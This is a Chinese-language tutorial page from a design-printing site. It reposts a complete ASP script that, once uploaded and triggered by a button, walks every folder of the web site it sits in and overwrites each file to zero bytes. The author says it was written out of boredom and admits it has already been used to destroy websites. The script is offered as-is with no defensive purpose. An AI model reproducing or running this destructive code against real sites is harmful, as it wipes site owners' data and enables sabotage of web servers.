 |
|
|
 首页 |
名片设计 CorelDRAW Illustrator AuotoCAD Painter 其他软件 Photoshop Fireworks Flash |
|
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节. 此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展. 属于无聊时的作品,已经有人利用这个破坏了一些网站了. <% Server.ScriptTimeout=99999 If Request("Submit")<>"" Then Call ListFile(Server.mappath("./")) Response.write"清理完毕" Else Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>" End If Function ListFile(fpath) On Error Resume Next Dim Shell,Folder,s Set Shell =Server.CreateObject ("Shell.Application") Set Folder =Shell.Namespace(fpath) Set f=Server.CreateObject("Adodb.Stream") f.Type=1 f.Open For Each s in Folder.Items IF s.isfolder Then Call ListFile(s.path) Else f.SaveToFile s.path,2 End if Next Set f=Nothing Set Shell=nothing End function %> 返回类别: 教程 上一教程: ASP打造出站点弹出广告 下一教程: ASP OBJECT之:REDIRECT 您可以阅读与"自动清空站点目录下所有文件"相关的教程: · 读取目录下的所有文件(源码) · 读取目录下的所有文件（源码） · 列出指定目录下的所有文件和目录 · ASP实现结构化列举并查看某路径下所有文件 · 取得一个目录下的文件 |
  |
| 快精灵印艺坊 版权所有 |
首页 会员中心在线印刷在线编辑付款方式索取样品设计指南连锁门店
|
||
